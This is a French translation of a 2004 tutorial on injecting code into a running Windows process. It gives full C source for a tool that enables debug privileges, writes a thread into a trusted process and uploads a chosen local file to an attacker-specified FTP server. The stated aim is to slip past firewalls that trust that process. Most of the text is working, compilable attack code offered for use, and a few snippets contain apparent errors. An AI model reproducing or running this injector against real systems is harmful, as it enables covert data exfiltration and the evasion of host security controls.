Exécution de code arbitraire dans un processus cible

Par vnet576@hotmail.com,
31 Juillet 2004

Sites:
http://www.governmentsecurity.org
http://www.codelinx.net
http://www.c0replay.net

Traduction par kinkey_wizard et Intox.

Introduction:

Ce tutoriel servira de référence à ceux cherchant une information sur la manière d'executer un code arbitraire à l'intérieur de l'espace mémoire d'un autre processus. De nos jours on a fait le tour de l'injection de DLLs. Plus récemment est apparue une nouvelle technique : injecter directement du code plutôt qu'une DLL dans la mémoire virtuelle d'un autre processus. Cette technique a d'abord été illustrée par l'article "Three Ways To Inject Your Code Into Another Process". Ce fut ma référence principale sur le sujet et ça me procura le code de base et les idées pour mon programme.

Mon programme écrira du code dans la mémoire virtuelle d'un processus en cours d'exécution, et ce code uploadera un fichier vers un serveur FTP de votre choix. Cette technique contournera la plupart des pare-feux. Cependant, comme elle n'est pas nouvelle, quelques pare-feux comportent déjà des mesures contre ce genre d'approche. Pour la majorité cependant, les pare-feux ne vérifient pas les connexions sortantes des processus qu'ils considèrent sûrs (N.d.t. : Ceci n'est plus d'actualité de nos jours, beaucoup de pare-feux sont equipés contre l'injection de code dans un processus.). En outre, j'inclurai dans cet article le code source que vous pourrez employer à votre convenance.

Technique :

Théoriquement, il suffit de suivre ces différentes étapes : récupérer le handle d'un processus en cours d'exécution, allouer de la mémoire virtuelle dans ce processus pour vos fonctions/variables, écrire le code dans l'espace mémoire alloué, injecter votre thread dans ce processus, et enfin libérer la mémoire allouée après que vos fonctions aient été exécutées.
VirtualAllocEx() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/base/virtualallocex.asp
WriteProcessMemory() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/debug/base/writeprocessmemory.asp
CreateRemoteThread() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/createremotethread.asp
VirtualFreeEx() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/base/virtualfreeex.asp
(N.d.t. : Un petit résumé en API Windows.)

Handle du processus :

Pour écrire dans l'espace mémoire d'un autre processus vous devez d'abord récupérer le handle du processus en question. Il existe d'innombrables techniques pour réaliser cela et je ne vais pas toutes les expliquer. Celle que je vais utiliser fait appel à l'API OpenProcess().

```
HANDLE hProcess;

if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetPID(argv[1]))))
	if(GetLastError() == ERROR_ACCESS_DENIED)
		if(DebugPrivileges() == 0)
			return 0;
```

Pour ouvrir un processus, OpenProcess() nécessite son PID, par conséquent nous devrons trouver le PID du processus à ouvrir. Il existe plusieurs techniques pour faire cela. Celle utilisée le plus souvent employe l'API CreateToolhelp32Snapshot() pour récupérer un handle sur l'ensemble des processus en cours d'exécution et les parcourt en utilisant Process32First / Process32Next jusqu'à ce que le processus cible soit trouvé.

Une autre méthode est d'utiliser l'API EnumProcesses() pour récupérer les PIDs de tous les processus en cours. Puis une boucle FOR les parcourt tous et établit un handle sur chaque processus. Après GetProcessImageFileName() recherche l'exe et le compare au processus cible.

```
DWORD GetPID(LPSTR process)
{
	DWORD lpidProcess[128], pBytesReturned;
	HANDLE hProcess;
	LPTSTR lpImageFileName;
	lpImageFileName = (LPTSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
MAX_PATH);
	if(!EnumProcesses(lpidProcess, sizeof(lpidProcess), &pBytesReturned))
		return 0;
	for(DWORD i=0;i<pBytesReturned/sizeof(DWORD);i++)
		{
		if((hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
lpidProcess[i])))
			{
			if(GetProcessImageFileName(hProcess, lpImageFileName, MAX_PATH))
				{
				CloseHandle(hProcess);
				if(strstr(lpImageFileName, process))
					{
					return lpidProcess[i];
					break;
					}
				}
			}
		}
	return 0;
}
```

Cependant, comme nous avons besoin d'un accès total sur le processus cible, des privilèges (droits) d'administrateur sont obligatoires. En outre, des "debug privileges" seront également requis pour certains processus. La fonction suivante donne les accès en question au processus de notre exécutable, puisque nous accéderons à d'autres processus à partir de notre programme. Le handle du processus de notre exécutable est renvoyé par l'API GetCurrentProcess().

Note - GetCurrentProcess() renvoie juste un pseudo handle plutôt qu'un handle réel vers le processus, mais c'est suffisant dans la plupart des cas. Ensuite vous récupérez le "locally unique identifier" (LUID) de SE_DEBUG_NAME (N.d.t. : Privilège permettant de débugger n'importe quel processus du système.). Enfin vous changerez les privilèges du processus de notre exécutable en utilisant le LUID de SE_DEBUG_NAME.

```
int DebugPrivileges()
{
	HANDLE TokenHandle;
	LUID lpLuid;
	TOKEN_PRIVILEGES NewState;
	if(!OpenProcessToken(GetCurrentProcess(), TTOKEN_ALL_ACCESS, &TokenHandle))
		return 0;
	if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &lpLuid))
		{
		CloseHandle(TokenHandle);
		return 0;
		}
	NewState.PrivilegeCount = 1;
	NewState.Privileges[0].Luid = lpLuid;
	NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	if(!AdjustTokenPrivileges(TokenHandle, FALSE, &NewState, sizeof(NewState), NULL,
NULL))
		{
		CloseHandle(TokenHandle);
		return 0;
		}
	CloseHandle(TokenHandle);
	return 1;
}
```

Chargement des fonctions :

Lorsque vous injectez du code dans la mémoire virtuelle d'un autre processus, il vous faut prendre en compte les emplacements des différentes fonctions dans les DLLs systèmes. Vous ne pouvez pas compter sur celles qui sont dans un autre processus. Les seules DLLs constantes sont kernel32.dll et user32.dll, le reste doit être lié explicitement. Pour ce faire nous trouverons d'abord l'adresse de ces trois APIs qui sont utilisées pour trouver les adresses des fonctions à l'intérieur de DLLs.

LoadLibraryEx() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/loadlibraryex.asp
GetProcAddress() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/getprocaddress.asp
FreeLibraryAndExitThread() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/freelibraryandexitthread.asp

Note – J'utilise **FreeLibraryAndExitThread()** plutôt que **FreeLibrary()** parce que, comme son nom l'indique, elle quitte automatiquement après la décharge de la DLL système.

Comme les adresse de kernel32.dll ne changent pas d'un processus à l'autre, nous pouvons passer les adresses des fonctions trouvées dans cette DLL au processus dans lequel nous injectons notre code. Les adresses en question sont stockées dans une structure sur laquelle je reviendrai plus tard. En attendant, il nous suffira de dire que ces adresses de fonctions sont stockées en tant que variables de type FARPROC.

```
HMODULE hModule;

if(!(hModule = LoadLibraryEx("kernel32.dll", NULL, 0)))
        {
        CloseHandle(hProcess);
        return 0;
        }
if(!(functions.LoadLibraryEx = GetProcAddress(hModule, "LoadLibraryExA")))
        {
        CloseHandle(hProcess);
        FreeLibraryAndExitThread(hModule, 0);
        }
if(!(functions.GetProcAddress = GetProcAddress(hModule, "GetProcAddress")))
        {
        CloseHandle(hProcess);
        FreeLibraryAndExitThread(hModule, 0);
        }
if(!(functions.FreeLibraryAndExitThread = GetProcAddress(hModule,
"FreeLibraryAndExitThread")))
        {
        CloseHandle(hProcess);
        FreeLibraryAndExitThread(hModule, 0);
        }
```

Structure des variables :

Une autre chose importante à noter est que les chaines de caractères sont enregistrées statiquement dans un fichier executable. Par conséquent, nous ne pouvons pas utiliser de chaines statiques à l'interieur du processus cible de l'injection (N.d.t. : Logique, l'injection se fait dans l'espace mémoire d'un processus, i.e. Un espace de stockage dynamique.), mais nous pouvons toujours passer chaque chaine à l'interieur d'une variable.

Cette structure contiendra les adresses des APIs DLLPROC qui seront employées pour trouver les adresses des fonctions à l'intérieur du processus subissant l'injection. En outre, cette structure contiendra également tous les noms de fonctions et autres chaines de caractères qui seront utilisés. De même, on passera n'importe quelle entrée de l'utilisateur au processus cible via cette structure.

Les variables de type chaine doivent se voir allouer de la mémoire, ne les passez pas comme des pointeurs car vous alloueriez de la mémoire réservée à d'autres processus.

```
struct RMTDATA
        {
        FARPROC LoadLibraryEx;
        FARPROC GetProcAddress;
        FARPROC FreeLibraryAndExitThread;
        INTERNET_PORT nServerPort;
        char lpLibFileName[16];
```

```
        char lpszInternetCloseHandle[64];
        char lpszFtpPutFile[64];
        char lpszInternetConnect[64];
        char lpszInternetOpen[64];
        char lpszServerName[64];
        char lpszUsername[64];
        char lpszPassword[64];
        char lpszLocalFile[64];
        char lpszNewRemoteFile[64];
        };

strcpy(functions.lpLibFileName, "wininet.dll");
strcpy(functions.lpszInternetCloseHandle, "InternetCloseHandle");
strcpy(functions.lpszFtpPutFile, "FtpPutFileA");
strcpy(functions.lpszInternetConnect, "InternetConnectA");
strcpy(functions.lpszInternetOpen, "InternetOpenA");
strcpy(functions.lpszServerName, argv[2]);
strcpy(functions.lpszUsername, argv[4]);
strcpy(functions.lpszPassword, argv[5]);
strcpy(functions.lpszLocalFile,argv[6]);
strcpy(functions.lpszNewRemoteFile, argv[7]);
functions.nServerPort = atoi(argv[3]);
```

Allouer de la mémoire :

Pour injecter du code dans un autre processus, nous devons d'abord lui allouer une zone de la mémoire virtuelle de ce processus. La mémoire virtuelle est l'espace que windows réserve pour l'utilisation des processus. De plus, Windows ne vérifie pas quel processus accède à cet espace, ce qui rend des situations comme celle décrite dans ce tutoriel possibles.

Nous devons allouer assez d'espace pour notre fonction car nous écrivons le code directement plutôt que de charger une DLL dans le processus. De l'espace doit aussi être alloué à la structure contenant les variables pour notre fonction à injecter. Il est crucial d'allouer assez d'espace, car si l'on en alloue trop peu le processus deviendra instable et finira par crasher.

VirtualAllocEx() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/base/virtualallocex.asp

VirtualAllocEx() requiert le handle du processus dans lequel la mémoire virtuelle est allouée. L'avantage d'utiliser cette API est que si le deuxième paramètre est mis à NULL, Windows décidera automatiquement où commencer à allouer des données. Si nous essayons de le faire manuellement, nous courons le risque d'avoir accès à une zone mémoire réservée et de crasher le processus devant subir l'injection.

Le paramètre le plus important est le troisième pour les raisons exposées plus tôt. Je convertis la taille de la fonction injectée en kilo-octets, en divisant par 1024. Cependant, vous pouvez ajouter un petit peu plus d'espace mémoire pour être sûr.

Le quatrième paramètre est celui qui détermine comment Windows alloue la quantité de mémoire que nous avons choisie. MEM_COMMIT allouera et remettra à zéro la mémoire physique. Le second flag, MEM_TOP_DOWN, est facultatif. Il indique à l'OS d'allouer la mémoire aussi loin du processus que possible. Cela nous assure qu'aucune autre application n'aura par mégarde accès à notre espace mémoire.

Le dernier paramètre stocke des droits d'accès, que j'ai mis à PAGE_EXECUTE_READWRITE, l'accès total de base.

La fonction renvoie l'adresse de base de la zone mémoire qui a été allouée.

```
LPVOID lpStartAddress, lpParameter;
if(!(lpStartAddress = VirtualAllocEx(hProcess, NULL, (SIZE_T)InjectThread/1024,
MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE)))
        {
        CloseHandle(hProcess);
        FreeLibraryAndExitThread(hModule, 0);
        }
if(!(lpParameter = VirtualAllocEx(hProcess, NULL, sizeof(RMTDATA), MEM_COMMIT |
MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE)))
        {
        CloseHandle(hProcess);
        VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
        FreeLibraryAndExitThread(hModule, 0);
        }
```

Ecrire dans la mémoire :

Une fois que la mémoire virtuelle a été allouée, la prochaine étape est d'écrire des données spécifiques à une adresse spécifique de l'espace mémoire du processus cible. Dans notre cas, l'adresse spécifique est celle renvoyée par **VirtualAllocEx()** précédement et les données en question seront notre structure et notre fonction injectée.

WriteProcessMemory() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/debug/base/writeprocessmemory.asp

Une fois encore, il est nécessaire d'avoir un handle du processus cible avec des droits d'accès total. Le second paramètre est l'adresse dans la mémoire où sera écrit notre code. Il est important qu'au minimum la zone mémoire soit accessible en écriture. Dans le cas contraire, l'API échouerait.

Le troisième paramètre est un pointeur sur les données que nous voulons écrire à l'intérieur de l'espace mémoire du processus. Dans notre cas, il s'agit de la fonction à injecter et de la structure. La taille des données à écrire sera la taille de la fonction ajoutée à la taille de la structure. Le dernier paramètre est facultatif dans ce cas, il est donc ignoré.

```
LPVOID lpStartAddress, lpParameter;
RMTDATA functions;
HANDLE hProcess;

if(!WriteProcessMemory(hProcess, lpStartAddress, &InjectThread, (SIZE_T)InjectThread/1024,
NULL))
        {
        CloseHandle(hProcess);
        VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
        FreeLibraryAndExitThread(hModule, 0);
        }
if(!WriteProcessMemory(hProcess, lpParameter, &functions, sizeof(RMTDATA), NULL))
        {
        CloseHandle(hProcess);
        VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
        FreeLibraryAndExitThread(hModule, 0);
        }
```

Creer le Remote Thread :

La prochaine étape est le lancement de la fonction que nous avons injectée dans la mémoire virtuelle du processus cible. Pour ce faire, on utilisera l'API **CreateRemoteThread()**, qui d'apres msdn.microsoft.com, "crée un thread qui se lance dans l'adresse virtuelle d'un autre processus".

CreateRemoteThread() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/createremotethread.asp

CreateRemoteThread() lance la fonction placée à l'adresse renvoyée par VirtualAllocEx. Un des paramètres passés désigne l'adresse où la structure a été injectée.

```
HANDLE hThread;

if(!(hThread = CreateRemoteThread(hProcess, 0, 0,(LPTHREAD_START_ROUTINE)
lpStartAddress, lpParameter,0,&lpThreadId)))
        {
        CloseHandle(hProcess);
        VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
        FreeLibraryAndExitThread(hModule, 0);
        }
```

Processus cible :

Ecrire du code à l'interieur d'un autre processus permet au processus de notre executable de se terminer et de laisser le code injecté continuer à s'executer. Il est par ailleurs possible à la fonction injectée d'effacer l'executable d'origine. Le problème est qu'en faisant ainsi, vous ne pouvez plus libérer la mémoire allouée et écrire dedans plus tard, puisque l'executable a été terminé, vous n'êtes plus sûr de l'adresse à libérer.

Pour pouvoir libérer l'espace mémoire après coup, vous devez attendre que le thread d'injection se termine, avec **WaitForSingleObject().** Cette API bloque le programme jusqu'à ce qu'un objet ou un handle dans notre cas se termine.

WaitForSingleObject() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/waitforsingleobject.asp

Attend infiniment que l'objet (N.d.t : en l'occurence le thread injecté) repéré par le handle retourné par CreateRemoteThread() ait fini de s'executer pour passer à l'instruction suivante :

```
HANDLE hThread;
WaitForSingleObject(hThread, INFINITE);
```

Le Thread injecté :

Le thread injecté est la fonction qui est écrite dans le processus cible. Il fonctionne comme toutes les autres fonctions, à la différence que toutes les chaines de caractères et APIs doivent lui être passées puis être explicitement liées. Je ne vais pas expliquer le linkage dans ce tutoriel car je considère que le lecteur sait déjà tout ceci. Dans notre cas, le thread injecté utilisera les APIs WININET pour uploader un fichier du choix de l'utilisateur sur un serveur FTP, en bypassant tout les firewall autorisant le processus subissant l'injection.

Toutes les API qui seront utilisées dans le thread sont définies en premier. Les adresses des DLLs liant les fonctions **LoadLibraryEx()**, **GetProcAddress()**, et **FreeLibraryAndExitThread()** seront stockées dans de nouvelles fonctions. Comme mentionné plus tot, tant que ces fonctions proviennent de kernel32.dll, nous pouvons utiliser des adresses statiques. La fonction procède

ensuite au chargement de la bibliothèque WININET en utilisant les chaines depuis la structure de variables. Ensuite toutes les fonctions WININET sont chargées de la même manière. Tout au long de ce processus, il est important de vérifier si l'on ne rencontre pas d'erreurs et de libérer la DLL WININET si l'on en rencontrait.

Ce tutoriel ne couvre pas les fonctions WININET utilisées car cela va au delà de la portée de cet article. Ces fonctions servent juste ici de proof of concept des possibilités d'une injection de code.

WININET API - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wininet/wininet/wininet_functions.asp

```
DWORD WINAPI InjectThread(LPVOID param)
{
	typedef HMODULE (WINAPI *pLoadLibraryEx)(LPCTSTR, HANDLE, DWORD);
	typedef FARPROC (WINAPI *pGetProcAddress)(HMODULE, LPCSTR);
	typedef void (WINAPI *pFreeLibraryAndExitThread)(HMODULE, DWORD);
	typedef HINTERNET (WINAPI *pInternetOpen) (LPCTSTR, DWORD, LPCTSTR,
LPCTSTR, DWORD);
	typedef HINTERNET (WINAPI *pInternetConnect) (HINTERNET, LPCTSTR,
INTERNET_PORT, LPCTSTR, LPCTSTR, DWORD, DWORD, DWORD_PTR);
	typedef BOOL (WINAPI *pFtpPutFile) (HINTERNET, LPCTSTR, LPCTSTR, DWORD,
DWORD_PTR);
	typedef BOOL (WINAPI *pInternetCloseHandle) (HINTERNET);
	HMODULE hModule;
	HINTERNET hInternet, hConnect;
	pLoadLibraryEx lLoadLibraryEx;
	pGetProcAddress lGetProcAddress;
	pInternetOpen lInternetOpen;
	pInternetConnect lInternetConnect;
	pFtpPutFile lFtpPutFile;
	pInternetCloseHandle lInternetCloseHandle;
	pFreeLibraryAndExitThread lFreeLibraryAndExitThread;
	RMTDATA *functions;
	functions = (RMTDATA*)param;
	lLoadLibraryEx = (pLoadLibraryEx)functions->LoadLibraryEx;
	lGetProcAddress = (pGetProcAddress)functions->GetProcAddress;
	lFreeLibraryAndExitThread = (pFreeLibraryAndExitThread)functions-
>FreeLibraryAndExitThread;
	if((hModule = lLoadLibraryEx(functions->lpLibFileName, NULL, 0)))
		{
		if(!(lInternetCloseHandle = (pInternetCloseHandle)lGetProcAddress(hModule,
functions->lpszInternetCloseHandle)))
			lFreeLibraryAndExitThread(hModule, 0);
		if((lInternetOpen = (pInternetOpen)lGetProcAddress(hModule, functions-
>lpszInternetOpen)))
			{
			if(!(hInternet = lInternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT,
NULL, NULL,INTERNET_FLAG_ASYNC)))
				lFreeLibraryAndExitThread(hModule, 0);
			}
		if((lInternetConnect = (pInternetConnect)lGetProcAddress(hModule, functions-
```

```
>lpszInternetConnect)))
                        {
                        if(!(hConnect = lInternetConnect(hInternet, functions->lpszServerName,
functions->nServerPort, functions->lpszUsername, functions->lpszPassword,
INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0)))
                                {
                                lInternetCloseHandle(hInternet);
                                lFreeLibraryAndExitThread(hModule, 0);
                                }
                        }
                if((lFtpPutFile = (pFtpPutFile)lGetProcAddress(hModule, functions-
>lpszFtpPutFile)))
                        {
                        if(lFtpPutFile(hConnect, functions->lpszLocalFile, functions-
>lpszNewRemoteFile, FTP_TRANSFER_TYPE_BINARY, 0) == FALSE)
                                {
                                lInternetCloseHandle(hConnect);
                                lInternetCloseHandle(hInternet);
                                lFreeLibraryAndExitThread(hModule, 0);
                                }
                        }
                lFreeLibraryAndExitThread(hModule, 0);
                }
        return 0;
}
```

Nettoyage :

Au cours de cet exercice, différents handles ont été ouverts et nous avons accédé, alloué et écrit dans differentes zones mémoire. Par conséquent, il est très important pour le programme de fermer ces handle et de libérer ces espaces mémoire, particulièrement si des erreurs arrivent dans le déroulement du programme.

VirtualFreeEx() - http://msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/base/virtualfreeex.asp

Cette fonction libère la mémoire allouée à l'adresse spécifiée. Le flag MEM_RELEASE rend ces sections disponibles pour tout programme / fonction système qui souhaiterait y accéder plus tard. Si la libération échoue, alors la zone mémoire restera allouée jusqu'au redémarrage du processus.

```
VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
```

Contact :

Vous pouvez contacter directement l'auteur du document original (en anglais) si vous le souhaitez : vnet576@hotmail.com
Ou sur les sites cités en début de cet article.

Références :

Three Ways To Inject Your Code Into Another Process :
http://www.codeguru.com/Cpp/W-P/system/processesmodules/article.php/c5767
http://www.firewallleaktester.com
http://www.msdn.com

Code source complet :

Note – J'ai utilisé le fichier wininet.h uniquement pour les différents types de variables INTERNET_PORT de WININET. Ils ne servent à rien d'autre qu'à se conformer aux fonctions de WININET.

```
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#include <psapi.h>
#pragma comment(lib, "psapi")

struct RMTDATA
{
	FARPROC LoadLibraryEx;
	FARPROC GetProcAddress;
	FARPROC FreeLibraryAndExitThread;
	INTERNET_PORT nServerPort;
	char lpLibFileName[16];
	char lpszInternetCloseHandle[64];
	char lpszFtpPutFile[64];
	char lpszInternetConnect[64];
	char lpszInternetOpen[64];
	char lpszServerName[64];
	char lpszUsername[64];
	char lpszPassword[64];
	char lpszLocalFile[64];
	char lpszNewRemoteFile[64];
};

int DebugPrivileges();
DWORD GetPID(LPSTR process);
DWORD WINAPI InjectThread(LPVOID param);

int main(int argc, char *argv[])
{
	HANDLE hProcess, hThread;
	LPVOID lpStartAddress, lpParameter;
	HMODULE hModule;
	RMTDATA functions;
	DWORD lpThreadId;
	if(argc < 8)
		{
		printf("Process Injection FTP Uploader 1.00\n");
		printf("vnet576@hotmail.com\n");
		printf("\nUsage: %s <process> <ftpserver> <port> <user> <password> <localfile>
<remotefile>\n", argv[0]);
		return 0;
		}
	if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetPID(argv[1]))))
		if(GetLastError() == ERROR_ACCESS_DENIED)
			if(DebugPrivileges() == 0)
				return 0;
```

```
	if(!(hModule = LoadLibraryEx("kernel32.dll", NULL, 0)))
		{
		CloseHandle(hProcess);
		return 0;
		}
	if(!(functions.LoadLibraryEx = GetProcAddress(hModule, "LoadLibraryExA")))
		{
		CloseHandle(hProcess);
		FreeLibraryAndExitThread(hModule, 0);
		}
	if(!(functions.GetProcAddress = GetProcAddress(hModule, "GetProcAddress")))
		{
		CloseHandle(hProcess);
		FreeLibraryAndExitThread(hModule, 0);
		}
	if(!(functions.FreeLibraryAndExitThread = GetProcAddress(hModule,
"FreeLibraryAndExitThread")))
		{
		CloseHandle(hProcess);
		FreeLibraryAndExitThread(hModule, 0);
		}
	strcpy(functions.lpLibFileName, "wininet.dll");
	strcpy(functions.lpszInternetCloseHandle, "InternetCloseHandle");
	strcpy(functions.lpszFtpPutFile, "FtpPutFileA");
	strcpy(functions.lpszInternetConnect, "InternetConnectA");
	strcpy(functions.lpszInternetOpen, "InternetOpenA");
	strcpy(functions.lpszServerName, argv[2]);
	strcpy(functions.lpszUsername, argv[4]);
	strcpy(functions.lpszPassword, argv[5]);
	strcpy(functions.lpszLocalFile,argv[6]);
	strcpy(functions.lpszNewRemoteFile, argv[7]);
	functions.nServerPort = atoi(argv[3]);
	if(!(lpStartAddress = VirtualAllocEx(hProcess, NULL, (SIZE_T)InjectThread/1024,
MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE)))
		{
		CloseHandle(hProcess);
		FreeLibraryAndExitThread(hModule, 0);
		}
	if(!WriteProcessMemory(hProcess, lpStartAddress, &InjectThread, (SIZE_T)
InjectThread/1024, NULL))
		{
		CloseHandle(hProcess);
		VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
		FreeLibraryAndExitThread(hModule, 0);
		}
	if(!(lpParameter = VirtualAllocEx(hProcess, NULL, sizeof(RMTDATA), MEM_COMMIT |
MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE)))
		{
		CloseHandle(hProcess);
		VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
		FreeLibraryAndExitThread(hModule, 0);
		}
	if(!WriteProcessMemory(hProcess, lpParameter, &functions, sizeof(RMTDATA), NULL))
```

```
                {
                CloseHandle(hProcess);
                VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
                VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
                FreeLibraryAndExitThread(hModule, 0);
                }
        if(!(hThread = CreateRemoteThread(hProcess, 0, 0,(LPTHREAD_START_ROUTINE)
lpStartAddress, lpParameter,0,&lpThreadId)))
                {
                CloseHandle(hProcess);
                VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
                VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
                FreeLibraryAndExitThread(hModule, 0);
                }
        WaitForSingleObject(hThread, INFINITE);
        VirtualFreeEx(hProcess, lpStartAddress, 0, MEM_RELEASE);
        VirtualFreeEx(hProcess, lpParameter, 0, MEM_RELEASE);
        CloseHandle(hThread);
        CloseHandle(hProcess);
        FreeLibraryAndExitThread(hModule, 0);
}


DWORD WINAPI InjectThread(LPVOID param)
{
        typedef HMODULE (WINAPI *pLoadLibraryEx)(LPCTSTR, HANDLE, DWORD);
        typedef FARPROC (WINAPI *pGetProcAddress)(HMODULE, LPCSTR);
        typedef void (WINAPI *pFreeLibraryAndExitThread)(HMODULE, DWORD);
        typedef HINTERNET (WINAPI *pInternetOpen) (LPCTSTR, DWORD, LPCTSTR,
LPCTSTR, DWORD);
        typedef HINTERNET (WINAPI *pInternetConnect) (HINTERNET, LPCTSTR,
INTERNET_PORT, LPCTSTR, LPCTSTR, DWORD, DWORD, DWORD_PTR);
        typedef BOOL (WINAPI *pFtpPutFile) (HINTERNET, LPCTSTR, LPCTSTR, DWORD,
DWORD_PTR);
        typedef BOOL (WINAPI *pInternetCloseHandle) (HINTERNET);
        HMODULE hModule;
        HINTERNET hInternet, hConnect;
        pLoadLibraryEx lLoadLibraryEx;
        pGetProcAddress lGetProcAddress;
        pInternetOpen lInternetOpen;
        pInternetConnect lInternetConnect;
        pFtpPutFile lFtpPutFile;
        pInternetCloseHandle lInternetCloseHandle;
        pFreeLibraryAndExitThread lFreeLibraryAndExitThread;
        RMTDATA *functions;
        functions = (RMTDATA*)param;
        lLoadLibraryEx = (pLoadLibraryEx)functions->LoadLibraryEx;
        lGetProcAddress = (pGetProcAddress)functions->GetProcAddress;
        lFreeLibraryAndExitThread = (pFreeLibraryAndExitThread)functions-
>FreeLibraryAndExitThread;
        if((hModule = lLoadLibraryEx(functions->lpLibFileName, NULL, 0)))
                {
                if(!(lInternetCloseHandle = (pInternetCloseHandle)lGetProcAddress(hModule,
```

```
functions->lpszInternetCloseHandle)))
                        lFreeLibraryAndExitThread(hModule, 0);
                if((lInternetOpen = (pInternetOpen)lGetProcAddress(hModule, functions-
>lpszInternetOpen)))
                        {
                        if(!(hInternet = lInternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT,
NULL, NULL,INTERNET_FLAG_ASYNC)))
                                lFreeLibraryAndExitThread(hModule, 0);
                        }
                if((lInternetConnect = (pInternetConnect)lGetProcAddress(hModule, functions-
>lpszInternetConnect)))
                        {
                        if(!(hConnect = lInternetConnect(hInternet, functions->lpszServerName,
functions->nServerPort, functions->lpszUsername, functions->lpszPassword,
INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0)))
                                {
                                lInternetCloseHandle(hInternet);
                                lFreeLibraryAndExitThread(hModule, 0);
                                }
                        }
                if((lFtpPutFile = (pFtpPutFile)lGetProcAddress(hModule, functions-
>lpszFtpPutFile)))
                        {
                        if(lFtpPutFile(hConnect, functions->lpszLocalFile, functions-
>lpszNewRemoteFile, FTP_TRANSFER_TYPE_BINARY, 0) == FALSE)
                                {
                                lInternetCloseHandle(hConnect);
                                lInternetCloseHandle(hInternet);
                                lFreeLibraryAndExitThread(hModule, 0);
                                }
                        }
                lFreeLibraryAndExitThread(hModule, 0);
                }
        return 0;
}


DWORD GetPID(LPSTR process)
{
        DWORD lpidProcess[128], pBytesReturned;
        HANDLE hProcess;
        LPTSTR lpImageFileName;
        lpImageFileName = (LPTSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
MAX_PATH);
        if(!EnumProcesses(lpidProcess, sizeof(lpidProcess), &pBytesReturned))
                return 0;
        for(DWORD i=0;i<pBytesReturned/sizeof(DWORD);i++)
                {
                if((hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
lpidProcess[i])))
                        {
                        if(GetProcessImageFileName(hProcess, lpImageFileName, MAX_PATH))
                                {
```

```
                                        CloseHandle(hProcess);
                                        if(strstr(lpImageFileName, process))
                                                {
                                                return lpidProcess[i];
                                                break;
                                                }
                                        }
                                }
                        }
                return 0;
}


int DebugPrivileges()
{
        HANDLE TokenHandle;
        LUID lpLuid;
        TOKEN_PRIVILEGES NewState;
        if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &TokenHandle))
                return 0;
        if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &lpLuid))
                {
                CloseHandle(TokenHandle);
                return 0;
                }
        NewState.PrivilegeCount = 1;
        NewState.Privileges[0].Luid = lpLuid;
        NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        if(!AdjustTokenPrivileges(TokenHandle, FALSE, &NewState, sizeof(NewState), NULL,
NULL))
                {
                CloseHandle(TokenHandle);
                return 0;
                }
        CloseHandle(TokenHandle);
        return 1;
}
```